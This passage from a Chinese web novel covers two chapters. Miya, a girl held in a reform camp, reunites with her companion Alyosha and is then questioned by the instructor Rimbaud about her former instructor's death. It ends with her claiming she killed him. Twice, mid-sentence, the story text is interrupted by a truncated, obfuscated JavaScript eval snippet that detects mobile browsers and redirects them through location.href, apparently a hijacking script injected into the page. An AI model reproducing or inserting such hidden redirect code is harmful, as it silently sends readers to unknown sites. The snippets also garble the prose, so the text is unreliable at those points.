不需要多说什么,阿廖沙似乎已经明晰事实经过。他没有问她是否安好,也没有表达愤怒,先将她拉进怀里,过了片刻才抚摸着她的头发问:“害怕么?” 弥雅竟然犹豫地停了一拍,才给出答案:“……嗯。” “抱歉。” 她摇头。 “他那么大块头,跌到地上一定碎得很好看。”阿廖沙的口气有种孩童谈论可以扔掉的玩具时的天真和随意。 弥雅情不自禁顺着他的话想象了一下。 将记忆中斯坦教官最后的凄惨模样替换成威尔逊,只是那么想想,她也快慰得难以自抑。在威尔逊眼里,她低人一等,是会呼吸的道具。她对他只有憎恶。 “阿廖沙。”弥雅露出不想继续这个话题的表情。 他便垂头亲了亲她的额头:“我不说了。” 阿廖沙的怀抱,他的体温,混杂了药物和消毒水的气息,他近在耳畔的声音,都令弥雅平静。阿廖沙对她做什么都不带情|欲,贴得虽然近,但更像是小动物本能地靠过来,用最切实的方式确认她存在,并且时刻在关注他、在意他。 “你真的没事了?” “副作用还在,但手上的绷带也拆了。”这么说着,阿廖沙炫耀似地捋起衣袖向她展示。苍白的皮肤,红褐色的伤痕。她身上有类似的印迹,只不过颜色更深年代更久远。 弥雅陷入沉默。 阿廖沙也半晌没说话。 他们想的是同一件事。而从那一天算起,也已经近两个月过去。 期间他们只在医院短暂地见过一次。弥雅坐着轮椅找到阿廖沙的病房,那时他坐起来的力气都没有。之后,阿廖沙的指导教官很快慎重地将他们的病房隔开。 弥雅出院后的一个月,她没有收到过关于阿廖沙的任何消息。 “我……以为你会死掉。”落到“死”上时,弥雅的嗓音颤抖了一下。 “我也做好了去死的打算,那样对你更好。”阿廖沙凄然一笑,像在道歉,但那份歉意也如同晨露,在漏下的阳光中消散无踪,被另一种更复杂的情绪取代,“但我活了下来。也许这就是神的旨意。所以……下次轮到你帮我了。” 弥雅立刻问:“我该怎么做?” “现在你什么都不用做。” 她乖顺地点了点头。 “你觉得那个新来的怎么样?” 弥雅怔了一下才意识到阿廖沙在说兰波。 这个问题需要小心对待。 “是个怪人,从海外跑回来当教官。他应该认识不少人,所以才能直接让威尔逊进入起诉流程。”明明她说的全都是事实,却莫名感到自己在撒谎,“我不明白他在想什么,我……有点怕他。” 阿廖沙良久没说话。 弥雅不安地抬头。 对方快速勾了勾唇角:“我会观察他的。” “嗯。” 少说为妙,不能让阿廖沙牵扯进兰波的事里。弥雅的思绪骤然停顿了一下。这算不算对阿廖沙故意隐瞒无需隐瞒的事?是不是……背叛?她立刻否定,进而对竟然会这么想的自己感到不屑。 兰波比看上去要危险。况且阿廖沙如果被惹得烦了,发作起来只有比她还厉害。如果让阿廖沙和他接触,不知道会引发什么。 弥雅更正说法:不能让兰波靠近阿廖沙。兰波那边由她来解决就好。 阿廖沙念头转得快,手一勾将那本精装书拿回来,将封皮在弥雅脸颊上贴了贴。他眯起眼睛看着书脊上的文字,不太确定地念出标题:“《坏代码》?” 弥雅点了点头。 他便撒娇似地拉长声调:“念给我听。” 以前阿廖沙也常常缠着弥雅念书给他听。他认字,但没什么读书的耐心。 “我还没 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弥雅搓了一把他的头发,阿廖沙捉住她的手:“好了,我不笑了,你继续。” 她叹了口气:“我看完再讲给你听。” 阿廖沙想了想,没反对:“那我睡一会儿。” 但很快,他睁开眼睛:“你别看了。过来。” 弥雅便将书搁下,重新与他面对面地在树荫下躺着。 “我就睡一下,到午饭时间叫我。” “嗯。” 阿廖沙的呼吸声逐渐平缓。但弥雅知道,如果她坐起来,甚至于说哪怕只是向后挪一些,他都会立刻察觉而后惊醒。 曾经弥雅也只能在阿廖沙身边安眠。但阿廖沙留院观察的这段日子里让她培养出抗性,在宿舍、在汉娜的房间里也能勉强睡一觉。归根到底,斯坦死后,她噩梦的源头大都在现实中不复存在。一旦噩梦无法成真,即便被惊醒,她也能迅速清醒过来。 阿廖沙也做噩梦。但他没有说过都是什么样的梦境。 这点弥雅也一样。 他们不向彼此具体地诉说痛苦,以免被多一人份的重荷压垮。 --“但是你需要他么?” 汉娜的质询再度在耳畔响起。 弥雅茫然地注视着阿廖沙的睡颜。 从阿廖沙突然出现的那个下雨的午后开始,他就成了她人生理所当然的一部分。在改造营大部分人嘴里,提及弥雅就会接着说起阿廖沙,反之亦然。当他们一起出现在众人眼前的时候,领头的男孩们总露出会意的微笑,一个劲地吹口哨。在这些人眼里,牵个手就不再纯洁,他们贫乏的想象当然只能得出唯一的结论。 旁人越鄙夷,弥雅和阿廖沙就越骄傲。只有他们明白将彼此拴在一起的是什么。 不是恋人,超出朋友,是共犯,是盟友,但也是陌生人。 弥雅闭上眼。暖融融的春风中,眼皮逐渐变沉。 就在这时,她听到阿廖沙的梦呓。三个音节。她没有听说过但隐约感应到过的、阿廖沙慎之又慎地不给任何人看见听见的一个名字: “罗莎琳……” 15. 零下七十八 弥雅立刻紧闭上眼,佯装早已入睡。 阿廖沙费心隐藏起来的事还是视而不见为好。 如果他不介意她知道,她早就知道了。 她猜想罗莎琳是阿廖沙偶尔在她身上错认的那个人的名字,是阿廖沙噩梦的源头,抑或是他只能在梦中匆匆一瞥的光明。想到后一种可能,弥雅感到身体深处有什么抽动了一下,酸胀而苦涩的波动瞬息即逝。无聊的占有欲。她向内蜷缩起来,头顶碰到了阿廖沙的下巴。他下意识将她往怀里带。 日头逐渐升高,即便在树荫的遮蔽之下,少年的体温也显得分外炽热。 弥雅被这么抱着其实不太舒服,但硬生生忍住没动。可惜的是最后的一丝睡意也就此消失殆尽,她纷杂思绪的触角焦躁地四处伸展,根本停不下来。 这不太对劲。 和阿廖沙在一起的时光本该平静无波,偶尔泛起愉快的涟漪。 对方其实并没有什么变化,梦中泄露的一个名字也不应该让弥雅动摇到心烦气躁。能得出的结论只有一个: 两人分别的这不长不短的一个多月里,是她身上有缺口被撬动,发生改变。 而弥雅生活中出现的最大变数就是兰波。 都是他的错。又是他的错。 这念头令弥雅的呼吸加快。兰波的那番自白又在耳畔响起。她不知道揪住胸口的这股情绪究竟是什么。愧疚,厌恶,艳羡,同情,恐惧,好奇心,弥雅不知道该用哪个词汇来描绘才最贴切,也许每一种都有一点。 正如初次见面时所承诺的,兰波已经为她掀起了遮住她眼睛的沉重帷幕的一角。只是向外面的世界慌张地看了一眼,她的小世界便开始溃塌,严格遵守的秩序变得可笑。 不知道阿廖沙是否察觉了她身上难以名状的异动。 弥雅打了个寒颤。 她可以不再紧抓着少年军的过去,但她不能丢下阿廖沙。唯有阿廖沙,她不可以舍弃。 “唔……” 就在这时,阿廖沙长吐一口气,逐渐醒转。 “什么时间了?” 弥雅揉着眼睛就势向后挪开,转头张望:“还没到午饭时间,但快了,你听。” 结束户外活动的学员正嬉笑着往食堂走,他们的交谈声从小树林的另一头遥遥传来。 “我们也去吧。”阿廖沙自然而然地提议。 他理所当然的口气令弥雅一怔。 阿廖沙看她一眼,了然道: “我不在的时候,你不怎么在饭点去食堂?” 弥雅垂眸:“我不想听见有人提他的事。” 阿廖沙刮了一记她的面颊:“他们肯定已经不太记得了。” 她笑了笑,没应答。 只要弥雅和阿廖沙一起出现在众人视野里,就会成为关注焦点。 弥雅早就习惯其他学员观赏野生动物一般的视线。但如果有人挑衅,她就会奉还,谩骂就以更粗俗的话语堵回去,动手的就打得周围人都不敢再对她动手。现在改造营学员大都来自普通战队,只要动作够快,挑选的部位够刁钻,即便是体格占优势的男孩也未必能挡得住弥雅的攻击。 此前她没少在食堂和其他少年少女拳脚相向,进而被送进禁闭室。 如果知道她在短短三天内又闹事被关禁闭,不知道兰波会是什么表情。这念头令弥雅愉快地弯唇。 “你在想什么?”阿廖沙捉住她的手扣紧。 “今天可以久违地闹个痛快。” 闻言,阿廖沙狡黠地勾唇,眼睛弯成好看的月牙。 他很少直接加入弥雅挑起的乱斗,但擅长利用手边的任何东西搅混水。桌椅,餐具,书本,电线,水管……甚至还有窗户和食堂大门,如果把阿廖沙在斗殴中造就的公物损害列一张清单,定然极为可观。 两人走出几步,弥雅忽然止步,回头看向被遗落在草丛中的那本《坏代码》。 阿廖沙扫她一眼,没辙地垮下肩膀,弯腰替她捡起:“你不怎么爱惜这本。” “丢了其实也无所谓。”这么说着,弥雅还是接过,将精装本随便抵在额际遮挡阳光,“走吧。” 才转出树林,弥雅就撞见此刻最不想见的人,浑身僵硬。 兰波。 他是如此适合站在阳光下,金棕色的发丝和制服金属肩章都仿佛在发光。 弥雅感觉刺目,第一反应便想转身逃走。 不能逃。 她调整呼吸,目不斜视地拉着阿廖沙从兰波身侧经过。 “弥雅。” 身后传来熟悉的令她心烦的足音。 “今天不是周日。我没理由搭理你。”弥雅没回头。她的声音比意想中还要尖利,带表演性质,观众是她自己和阿廖沙。她得证明她不怕兰波。和相遇的第一天没有什么区别。她依旧对他充满憎恶和不屑,欠缺多说一句话的耐心。 “抱歉,但我有重要的事和你商量。能不能借我一点时间?” “什么事?换教官?” 兰波克制地唤:“弥雅。” 她便嚯地驻足转身,冷淡道:“那你就在这说。” 兰波的视线在阿廖沙脸上停顿了数秒。 黑发少年微微笑着,一脸无辜地问:“是什么我不能听到的事么,教官先生?” “不,”兰波抬手扶了一下帽檐,“你也在场更好。我有想向你确认的事。” 阿廖沙闻言眯起眼睛:“和我也有关的事?” “刚才我收到消息,拘押中的威尔逊--”兰波不自然地停顿半拍,“威尔逊教官向检方提出,他愿意提供关于改造营内部丑闻的关键线索并出庭作证。作为交换,他想要获得减刑。” 弥雅和阿廖沙交换了一个眼神。她抽手,几不可见地摇头,示意由她来应付。 “丑闻?这种东西这里多得是。”弥雅说着耸肩。她原本还想嗤笑,但笑声在她与兰波对视的瞬间如烛火被骤然掐灭。又是那种洞察一切后依旧克制悲悯的目光。 弥雅立刻明白,兰波勘破了她高涨的敌意有一大半是虚张声势。 但他没有戳穿,当然也没有不耐或是发怒,只是平和地等待她收心听他说下一句。 她紧绷唇线,视线向下压,盯着兰波制服外套的第四颗金属扣:“你说。” “他不愿意多透露具体细节,但他所说的内幕与你的前一任指导教官,斯坦尼斯拉夫·斯坦有关。” “威尔逊一直不肯相信斯坦教官是自杀死的,”弥雅反应很快,唇角上翘,“让我猜猜他在暗示什么。斯坦教官当时负责的学员之一,也就是我,才是该死的杀人凶手?” 兰波蹙眉,但没有否认。 弥雅忽然放松下来。她拍了拍阿廖沙的手臂:“你先去吃饭。这事和你无关。” 黑发少年反抓住她,狐疑地盯着兰波:“你有没有调查许可?” “还不确定检方是否会要求警方重新开始调查,我只是想向你们确认一些事,”兰波竭力表达善意,强调说,“以个人身份。” 阿廖沙哼了一声:“我不觉得你有什么可以问我或者弥雅的。” 心念电转,弥雅已经想好了应对方式。 “也就是说,你又在玩侦探游戏?”她向兰波粲然一笑,仿佛这是他们之间的什么特殊暗语。 兰波一怔忡。哪怕是虚假的,这也是她头回对他露出这样不含明显恶意或挑逗的笑容。她真的笑起来时和平时判若两人。 阿廖沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726830|189495||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉住她的手愈发用力。 弥雅就好像没有察觉,口气明快地继续说道:“兰波教官,既然你没有正式的调查令,你想盘问我,我也没办法。但你不是阿廖沙的指导教官,他可没义务陪着你胡闹。” 主动向前半步,她朝他扬起脸,笑笑地说:“而且为了防止当面配合串供,怎么想也该分开问我和阿廖沙。” 兰波显然不喜欢她的说法,拧起眉毛,语调依旧温和:“弥雅,我不打算盘问你,我没有那么做的权力。我只是想事先私下确认一些事实。如果你不愿意,我不会坚持。” “我愿意说,也没有需要刻意隐藏的秘密,”弥雅背转身面向阿廖沙,“兰波教官是个好人,他不会拿我怎么样。你去吃饭吧。” 仗着兰波看不见,她做了个口型:交给我。 阿廖沙没有立刻答应。他盯着弥雅,又看向兰波,敌意的尖刺逐渐攀上他的眉眼。但他没有坚持与弥雅同行,只是笑了笑:“最好真的是这样。” “就由我来回答你的提问,没问题吧,兰波教官?” “当然。” “之后见,弥雅。”懒洋洋地走出两步,阿廖沙突然回身将弥雅拉过去,在她额头上亲了一下,而后从睫毛下斜睨兰波。这是个兼具示威和盖戳意味的吻。 以只有彼此听得到的音量,他快速低语:“不要对他撒谎。我不喜欢他的眼神。” 弥雅食指一挑,挠了挠少年的下巴:“嗯。” 她知道。她也不喜欢。 阿廖沙领会她未出口的应答,看上去略微心安,但也只有一点。有生人在场时,他无法驱散满身的戒备与狐疑。然而对弥雅,他向来还算好说话。虽然依旧不太情愿,阿廖沙最后还是几步一回头地离开了。 弥雅转向兰波,刚才眼角眉梢的笑意都不见踪迹。 “到哪里去?接待室?”她不耐地将睡进衣领的头发朝后一撩。 “今天不去接待室,”兰波又正了正帽檐,难得用上含混不清的说法,“那里不合适。” 弥雅讶然打量兰波片刻,嘲弄地直接问:“你担心被监听?” 兰波没有应答。他很少倚仗改造营上层权威,但也不会主动吐出可能会引来麻烦的抱怨或是批评。 “我知道一个谈话的好地方。” 兰波点了点头。 弥雅便带路走在前面。她能感觉到兰波在注视她的背影。他大概不太明白为什么她在这件事上如此配合,因此疑窦更深。但这正是弥雅想要的。与其由兰波自己去查,不如她自己给出一个能令他令她自己都满意的故事版本。 抵达目的地前,她冷不防想到:兰波今天难得没有问她有没有吃饭。 中午放课的铃声响起,太阳却遮遮掩掩地躲到厚云后。莱辛改造营处在半山腰,不在日照下气温就会立刻下降。 弥雅推开生锈的铁门,迎面扑来的风带着凉意。她回头拢住乱发,满意地看到兰波的表情有些僵硬。 这地方对兰波而言也不陌生。 门后是她与威尔逊不愉快再会发生的那个天台。 随风微微摇晃的铁丝网映入眼帘,弥雅的胃里剧烈地翻涌。她还记得撞上这里的地面是怎样的痛感。她想呕吐。空气中宛如突然挂满液滴,随时要开始下雨。但这舞台布景是必要的。她和兰波只能在这里谈。 对仿佛要从皮肤下炸开的生理性抵触佯作不觉,弥雅率先踏出一步,背着手转了个圈,裙摆轻盈地扬起,抖落她心头残存的惊惧。她微微一笑,看着依旧伫立在门边不动的兰波:“既然和威尔逊教官有关,那么当然要到这里来。” 顿了顿,她微微歪头,以几近天真无邪的轻快口吻问道:“所以,我该从哪里说起?” 16. 零下七十八 兰波以身体抵住天台铁门,没有前进:“弥雅,请你不要勉强自己。” 弥雅环抱双臂环视四周,没什么笑意的勾了勾唇角:“我不要威尔逊减刑。如果你的朋友们可以给他多判几年,你要我说什么都行。” “我没有你想象得那么无所不能,我只有几个消息灵通的熟人,仅此而已。”兰波苦笑着摘下帽子,将它拿在手里沿着帽沿转圈。 “我不要威尔逊减刑。”弥雅重复,眼神像被恨意淬炼过的刀子。 兰波见状沉默须臾,略含歉意地垂下视线,缓声道:“我也希望他得到应有的惩罚。但现在情况变得有些复杂。我能做的非常有限。” 弥雅不解地眨眼。 “目前他的案子由首都市法院受理,但如果确认牵扯到改造营内部更多的纪律问题,就会移交首都特区高等法院,视情况严重程度甚至可能会交给联邦最高法院。”说到这里,兰波停住斟酌言辞。 最后,他没有将弥雅当小孩糊弄过去,而是简练地向她交代状况:“如果真的到了那个地步,改造营的丑闻不仅会影响重建政策,还会成为议院斗争的弹药。先不论威尔逊最后会获得怎样的处置,我担心你会成为政治博弈的牺牲品。” 深吸了一口气,他仿佛无法忍受推想中的事态成为现实,揉着眉心喃喃:“虽然未成年人的个人信息会严格保密,但如果有媒体挖出你的身份作文章……我不希望你被牵扯进去。” 兰波寥寥数语勾勒出的是潜藏在首都景物下的另一个世界。他显然对其中的规则十分熟悉。 弥雅不禁怀疑他声称只有几个掌握内部情况的熟人是过度谦虚。 她转而漫不经心地耸肩:“如果闹大了就能把改造营这混蛋体制废除,我不介意当炮弹。那样的话,威尔逊怎么样都行。” “弥雅……” “反正我也不是第一次被人当枪使。” 不等兰波应答,她便朝他走近一步,唇角堆出甜腻的微笑,语调却冰冷:“如果真的有大人物想要保住改造营,那么他们一定会让威尔逊闭嘴,用不着你瞎操心。如果想把改造营送进垃圾堆的大人物赢了,就算威尔逊什么都说不出来只会放屁,都会有人把他的鬼话改写成证据。” 兰波因为她粗俗地措辞下意识皱了皱眉。 弥雅笑出声来:“所以,不管威尔逊有没有猛料,你都根本没法决定我是不是会被牵扯进去。不要拿保护我当借口。我都能想明白的事你不可能不清楚。” 兰波捏紧帽檐,竟然显得窘迫。 这反应冲淡了弥雅内心对他残存的敬畏。她昂起下巴,再次往前走,踏破舒适的社交距离,直逼到他面前:“那么,兰波教官,你为什么还要专门来和我确认事实?为了一个安心?好确认你负责的学员不是杀人凶手?” 兰波抿住嘴唇,澄澈的蓝眼睛因为沾染上肃穆之色,比往常要更幽冷。 接下来要说出来的话令他难以启齿,他看着自己的手指,将嗓音压得很低,压抑着情绪的词句几乎要淹没在午间营地的喧嚣中:“我有几个猜想,每个都令我毛骨悚然。我想向你求证。” 弥雅一哽。 她无法辨析兰波说这些时克制住的究竟是哪种感情。 震惊,厌恶,还是从心理到生理的反胃? 出于本能,尖刻不留情的问句再次成串地从弥雅的唇间激射而出:“然后呢?就算你的猜想是正确的,那又怎么样?你打算怎么做?” “我不知道。”兰波抬眸看向她,露出长途跋涉的旅人再度迷路时的苦涩微笑,他的视线仿佛能穿透她,能看见透明雾气般攀附她身后的过去的成群亡灵。 停顿数拍,他又说一遍:“我不知道……” 兰波软弱的音色令弥雅的心脏颤抖了一下。她没能挤出嘲讽的话语。 “你说得对,也许我的确在寻求心灵的安宁。我希望你能否定我的猜想,证明是我的想象太过离奇残忍,”他诚恳地垂头,像在为还没发生的事提前道歉,“但这说到底不过是自我满足。我希望帮助你摆脱过去,但应该还有别的方法。所以我不会强求你告诉我任何事。我知道讲述过去可以有多痛苦。” 最后这句话令弥雅咬住嘴唇。她不确定兰波是否在有意向她示弱。 不知道是谁恰好这一秒在楼下大笑。 也许发声的人只是在热烈地回应同伴无害的玩笑,但笑声的后续在高处的风中模糊失去形状,听上去就好像在刻薄弥雅和兰波此刻各自不知道该怎么对话的窘迫。 弥雅不由打了个寒颤。 她退了一步,低声问:“你都知道什么?” “我读了警方对斯坦尼斯拉夫·斯坦死亡事件所做调查的报告,我没有权限调阅案发现场的更多资料和证人笔录,因此让我在意的只有一个日期,”兰波快速报出一串年月数字,“也在同一天,你和阿廖沙都住院了。而且,你们都因为药物过量入院。” “我们的学员档案上写了这种事?” 兰波别开视线:“不,只有暂时离开改造营的日期和目的地。住院原因是我打听来的。” 弥雅笑了。她对于兰波的人际网络竟然产生了一点兴趣。 青年做了亏心事似地紧抿起嘴唇。 “就算我和阿廖沙的确是因为药物过量住院,那又怎么样?” “斯坦的官方死因是药物摄取过量之后,他因为幻觉跳出办公室窗户。同一天也许是巧合,但都和药物有关,很难不产生联想。” “所以?” “我的第一个猜想是,你和阿廖沙都在案发现场,而出于某种原因,你们的名字没有出现在公开的调查报告上。” 弥雅没有否定,也没有肯定:“你说你有几个猜想,还有什么?” “威尔逊坚决否认他之前曾经对你出手,他的律师也在反复强调初次未遂,要求从轻判决,”兰波的语气变得十分冷淡,“起初我认为他在撒谎。我理所当然地认为威尔逊不是初犯,他看上去也的确不像毫无预谋地突然挑你下手。我以为威尔逊是主犯,那时负责你的教官斯坦是配合他的帮凶。所以你才对斯坦抱有明显的敌意。” “但在开始调查斯坦的死之后,我不得不审视另一种可能性。”有凛然的怒意在兰波眼中一闪而逝,像山上的夜里偶然能瞥见的惊电,拉开窗帘细看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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兰波像被强光晃了一下,下意识闭上眼。但他立刻再次看向她,不躲不闪。 弥雅学着在陈旧时代影像里看到的优雅女士,徐徐为他的推论鼓掌喝彩:“兰波教官,如果你转行去当警官或是侦探,肯定前途一片光明。” 兰波瞳仁骤缩。 不可思议地,弥雅感到前所未有地轻松。这样就可以了。比起完全由她捏造的版本,当然还是兰波也出力推导的更可信。而这也是她最想要的版本。她像在念诵随手拿起的某本书翻开第一页的第一行文字,毫无犹豫,不带多余的感情:“你猜对了,斯坦彻底毁了我,我恨他,恨到忍不住对他下了杀手。” 兰波脸色苍白,似乎忘了怎么说话。但他的表情和身姿胜过千言万语。 “你之前一直想不明白我为什么不能重新开始,现在你应该明白了。” 弥雅的嗓音和笑容同样甜美。她第一次在兰波面前无所畏惧,甚至能够伸出手,轻轻触碰他的脸颊,充分地感受他压抑的颤抖。不带任何坏心眼,只是怀着满腔纯然的好奇心,她问道: “那么,兰波教官,你打算怎么办?要检举我么?”